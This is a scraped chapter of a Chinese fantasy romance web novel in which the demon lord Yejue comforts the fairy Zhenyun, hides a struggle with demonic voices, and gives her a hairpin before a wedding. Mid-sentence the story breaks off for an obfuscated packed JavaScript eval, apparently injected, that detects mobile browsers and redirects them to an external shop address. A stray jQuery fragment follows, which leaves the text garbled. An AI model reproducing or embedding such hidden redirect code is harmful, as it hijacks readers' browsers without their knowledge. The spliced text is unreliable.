枕云觉得夜玦有些时候过于黏人了。
那次之后夜玦经常晚上拉着她“看”通亮的烛火摇摇晃晃直到熄灭。
他乐此不疲地在她身上留下数不清的印记。
而当枕云受不了咬住他的肩膀时,夜玦带着淡淡的笑意,告诉她“可以再咬重一些”。
枕云总会红着脸躲进他的臂弯里,等到天蒙蒙亮,她会在他怀中沉沉睡去。
而白天的时间,夜玦的眼睛像是黏在她身上似的,两人走到哪里都形影不离。
枕云睁开眼时是夜玦俊美的容颜,这时候连带着心情都会好起来。
他今日睡得沉,长而密的睫毛随着呼吸一颤一颤。
不过渐渐地他眉头却锁在一起,枕云耐心地抚过,希望能把他梦里的褶皱展开。
她起了俏皮的心思,指尖从额头描摹到下巴,每一处都没有放过。
夜玦的眉眼舒展开来,枕云躲进他炽热的怀抱,这是冷天里最好的归处。
忽地,她听见男人低而闷的笑声。
枕云抬眼撞进他的蓝眸中,她的心怦然一跳。
她笑着掐了掐他的脸蛋,夜玦低头在她唇边落下一吻。
夜玦:“早,睡得好吗?”
枕云点点头,她伸了个懒腰又倒在夜玦的胸膛,“明明快要中午了,你居然和我学坏了也会赖床。”
夜玦宠溺地刮了刮她的鼻尖:“醒来就能看见你,真好。”
枕云:“刚刚是不是做噩梦了?”
夜玦点点头,他撩起她的几缕贴在脸边的发丝,“我又梦见你那日浑身是血的时候了...”
其实这个噩梦夜玦在一百年间不知做了多少次,每次他只能在梦里想象着她的面孔,但手上淋漓鲜血的触感他始终忘不掉。
直到今天那张模糊的面容映着枕云的脸。
枕云心疼地抱紧他,她身上散发的清香缓缓裹住夜玦将他的不安躁动都驱散。
夜玦贪恋地撩起她黏在他脸颊旁的几缕发丝,“我以为我又哭了,但醒来发现那是你的长发,你也还在我身边。”
他搂住她深吸了一口气,再把耳朵靠在她的胸前,只有当听见这里强有力的心跳声时,他才能确信她鲜活的生命,她在自己身边。
枕云揉了把他的长发,“粘人精,我现在不会离开你的。”
夜玦冷不丁地回答:“粘人魔才对。”
枕云笑出声,她推着夜玦的胸膛,可面前这个餍足的男人不停地在她的眉眼,鼻梁,脸颊,嘴唇都留下吻。
枕云无可奈何却满心欢喜,她看着夜玦把两人的长发缠绕在一起再打了个结。
一黑一白纠缠不清。
夜玦:“这是凡间的习俗,结发为夫妻恩爱两不疑。”
枕云:“你是不是图谋已久了?”
夜玦笑了笑没有回答,他不知从哪变出来一把剪刀小心翼翼地把这几缕发丝剪断。
枕云嘟起嘴,眼神里流露出几分不舍,“我好不容易养长的头发呢。”
夜玦蹭了蹭她的脸颊,“那我再陪你等它长长。”
外面寒风呼啸,冷风钻了一点缝隙妄想把寒气灌入宫殿中,却被温暖热乎的被窝隔开,孤单寂寞都会荡然无存,这里只有两个相爱的人。
夜玦强烈要求把结发保存起来,枕云应了他,找了个木盒放进去。
她一瞥,只见旁边还有个精致的盒子,上面缠着几丝魔气,枕云好奇心作祟,她谨慎地打开发现是一条布料。
布料异常陈旧还有些脏污,如果不是上面加了法力早就被虫子蛀了。
枕云越瞧越眼熟,夜玦忽然从背后抱住她。
枕云:“你走路怎么都没声的?”
夜玦:“......我没有走路,你在哪我都感应得到。”
哦,合着是瞬移过来的。
夜玦垂眸看了看她手里的东西,他睁大了眼睛,“你怎么把它找出来了?”
枕云小心搓了搓发硬的布条,“是以前我牵你的那条对不对?”
夜玦“嗯”了声,枕云突发奇想,她转过身,杏眸明亮,“我们把它挂起来好不好?”
夜玦:“嗯?”
风拂过桃树枝头,明明寒气逼人,可外面的桃花开得一朵比一朵灿烂迷人。
夜玦给枕云披上厚厚的外袍,他轻轻吹去落在她肩头的花瓣,花瓣变成数个光点消散在空中。
枕云晃着他的手,“你这样不符合四季规律。”
夜玦:“可是你喜欢看花开。”
枕云:“奥,那还是这样吧。”
即便她知道这副景象都是夜玦制造出来的幻觉,枕云也心甘情愿地沉溺其中。
夜玦托着枕云举到高高的枝头上,枕云把那根布条绑在树上随风飘扬。
她闭上眼睛许愿:希望夜玦可以被幸福包围,希望他们可以一直这样生活。
夜玦小心地把人接到地上,他有些不解,“为什么要挂起来?”
枕云:“就当...与过去做个告别吧。”
她戳了戳夜玦的腰,“快,你也许个愿,这也是凡间的习俗。”
夜玦点点头,“那我希望你可以永远平安快乐。”
风起时,枝叶沙沙作响,可明明都是幻觉,枕云却觉得自己闻到了桃花香。
她搂住夜玦的脖颈,嘴唇紧贴。
枕云教着夜玦哪里哪里还需要布置东西,比如这边再加个连绵起伏的青山,那里需要再种一排火红的枫树。
魔界的环境一天比一天舒适安宁,连着巫婆婆的脾气都好了不少。
今日枕云和巫婆婆正在打麻将外加两个黑乎乎的魔团。
枕云随意地打出一筒,“唉,这才是我想要的生活呀,衣来伸手饭来张口,每天被窝里还有热乎乎的男人。”
巫婆婆碰了碰牌,“哦?原来你的愿望就是当个闲鱼吗?”
枕云耷拉着脸,“您不会也要说教我吧?”
巫婆婆:“不,这是很朴实的愿望。”
“人各有志,选择自己喜欢的生活又有什么错。你如果能舒舒服服过一辈子那也是成功的,谁又愿意去没苦硬吃呢?”
枕云:“啊——难得碰见会这么想的!这话我要是说给我师门听,她们得劈头盖脸地骂上我好一顿。不过有时候我在想这一切像是做梦一样,我太害怕梦会醒来的那一天了!”
巫婆婆睨了她一眼,“只要夜玦在,他不会让你的梦醒来。”
“好了,我胡了。”
“怎么您又胡了?!”
枕云脖子一伸看着巫婆婆面前的清一色,她叹了口气,认输地拿出一摞灵石。
她伸出手的刹那定在了原地一般,她整个人猛然站起身来,左手一挥召唤出面水镜来,脸都要扒在上面。
巫婆婆纳闷着:“你干嘛呢?”
枕云发出尖锐的爆鸣声,“啊啊啊啊啊——我的眼角长了两道皱纹,怎么会!我从来没有长过皱纹!这不可能!”
巫婆婆衔着眼珠子走到她跟前,“你这算什么皱纹...别那么焦虑。”
可枕云完全听不进去她的话,嘴里不停地念叨,“怎么会呢?怎么会?是这里的风水不好吗?还是我吃了什么......”
巫婆婆翻了个白眼,“是个人都会变老的,你为什么不能接受?”
枕云:“我不接受,我根本没有准备好面对衰老!”
魑小夭忽然赶到她们身边,他给巫婆婆递来一块糕点。
魑小夭:“师娘怎么了?”
巫婆婆:“容貌焦虑。”
“夜玦呢?喊他过来把人接走。”
魑小夭:“他最近不知道在后山捣鼓什么,神神秘秘的,让我别去找他。”
巫婆婆想了想,“后山...那里好像有块温泉,他去哪里做什么?”
......
烟雾缭绕,黑色的池水咕噜咕噜冒着泡,一缕缕白发飘在水上散开。
夜玦眉头紧锁,他闭着眼,身上不知流的是水还是汗。
“快!把你的身体交给我们!我们要吞噬你的灵魂!”
“你这个懦夫,不去复苏魔界反而在这里与仙子扯儿女情长!你是魔界的耻辱!”
“使用我们的力量就要付出相应的代价,你别想逃!”
“够了,全都给我闭嘴!”
肃杀的气息在四周弥漫,沸腾的池水骤然平息下来。夜玦震怒着,他点了点自己心口的穴位,那里空荡荡的,什么都没有。
他嘴里弥漫着血腥味,夜玦平静地擦去嘴角的黑血。
擦干身体,穿好衣服,一气呵成,夜玦揉了揉自己的太阳穴,他运转了会功法,与平常无异。
“夜玦!”
他平静的面容终于出现一丝裂痕,他转过身接住扑过来的枕云。
夜玦:“你怎么来了?”
枕云:“你在这里做什么,居然真的有一块温泉!”
枕云说着就想踏入一只脚,夜玦拦腰抱起她让她离得远了些。
枕云用力拍着他的臂膀,“干嘛呀!放我下来!”
夜玦:“不放。”
“别往里走,那里很危险,只有我能进去。”
枕云歪了歪头,“什么东西呀!这么诡异。”
夜玦的手不安分地摸上她的后腰,枕云一下子就老实了。
枕云:“好吧,不去就不去。”
夜玦轻笑出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656566|206997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声,“嗯。”
枕云忽然变了脸色,她的神情无比认真且郑重,“我要问你个事情。”
“你必须说实话!不许说谎!不许骗我!”
夜玦莫名紧张了几分,她不会是发现昨晚她累晕过去后他又偷偷做了几次吧......
夜玦:“什么事情?”
枕云的眼泪忽然啪嗒啪嗒地掉下来让他猝不及防,“如果...如果我变老了,你也会爱我吗?”
夜玦沉默了一瞬,他反问道:“那我变老了你会爱我吗?”
枕云不假思索地回应;“当然了!”
夜玦吻上她的嘴唇,片刻后,他轻轻啄着枕云的嘴角,“那我又怎么会不爱你呢?”
枕云微微蹙起眉,“可是我会长很多的皱纹和白发……”
夜玦抚平她的眉间,“如果能看到这些变化我会很开心。”
“说明我们一直在一起,我们陪着对方到老。”
“不管怎么样,在我的记忆里你永远都是最美好的模样。”
枕云嘟起嘴,声音恹恹,“……你会不会觉得我无理取闹?”
夜玦凑近了几分,两人的呼吸交缠。
“不会,我喜欢你所有的小脾气。”
-
枕云还是闷闷不乐了好几天,蔫乎乎的提不起精神。
而夜玦会不厌其烦地一遍遍告诉她,自己会永远待在她身边,不离不弃。
这日,枕云吃饱喝足后把玩着夜玦从人间带来的新奇玩意。
忽地,视线陷入一片柔软的黑暗。
枕云朝后一仰,靠在夜玦怀中,她握住挡在自己眼前的手,“怎么了?”
夜玦吻了吻她的脸颊:“带你去个地方。”
还没等枕云反应过来,夜玦已经把她带出了屋外。
映入眼帘的是一座高山,枕云拽着他的长袖:“你变出来的?”
夜玦点点头,他紧紧扣住枕云的手,“走吧。”
两人慢慢地走上山,山间长满了瑰丽奇艳的植物,时不时还有蓝蝶落在枕云的发间又翩翩而去。
可枕云却觉得有一种说不上来的熟悉感。
走到半山腰,她撒娇说走不动了。
枕云:“我们都走了好久了......”
夜玦轻笑一声,他半蹲在她面前:“上来吧,我背你。”
枕云不解,他想的话施个法就能去山顶了,为什么一定要亲自走上去呢?
但有人代劳总是舒服的,枕云趴在他坚实的背上,她时不时会捉弄下夜玦,朝他耳朵吹吹气,或者晃晃腿。
夜玦只是无奈一笑,语气宠溺,“别闹。”
枕云:“我不。”
总算到了山顶,一轮血月挂在黑幕中,一眼望去深不见底的山谷。
枕云:“......看来这块地方的审美有待提高。”
夜玦抱着她,头挨着头,彼此能听见呼吸与心跳声。
夜玦:“闭上眼。”
枕云嘟囔着:“我发现你今天很喜欢搞神秘。”
他身上冷冽的气息裹住自己,耳廓因为他凑得太近而变得敏感。
夜玦:“三,二,一。”
睁开眼的一瞬间,黑夜里涌出一盏盏灯火,晃晃悠悠地点亮了整个夜幕。
无数微小的光亮把贫瘠的天空编织成了如梦似幻的星夜。
枕云一时间愣得说不出话。
忽然,夜玦扣住她的肩膀转了过来。
他的掌心多了一支簪子。
枕云:“这是...?”
夜玦:“我做的桃花簪。”
他撇开眼,轻咳一声,“我...的手艺还是有些不完美,你别嫌弃好不好?”
“但我想亲手做一支再亲自给你戴上。”
枕云小心翼翼拿起来,手指缓缓扶过金簪子,上面裹着祥云密纹,上下两层小巧由白渐粉的花瓣裹住中间一颗晶莹剔透的明珠。
枕云:“谢谢,我很喜欢。”
她抬眸对上夜玦的眼睛,里面闪过几分不确定。
枕云:“快给我戴上。”
夜玦在她额间落下轻轻一吻,像是对待无比珍重的宝藏。
夜玦:“很好看。”
“我想这么做已经很久了。”
“总是嫌给你的东西不够多不够好。”
“谢谢你,愿意留在我身边。”
夜玦紧紧牵住她的双手,下一瞬枕云发现自己的衣着变成了一件大红色的婚服。
而夜玦也穿上了人间新郎官的礼服。
夜玦:“无论遇到什么事情,我都会在你身边。”
“我爱你。”
“我也爱你。”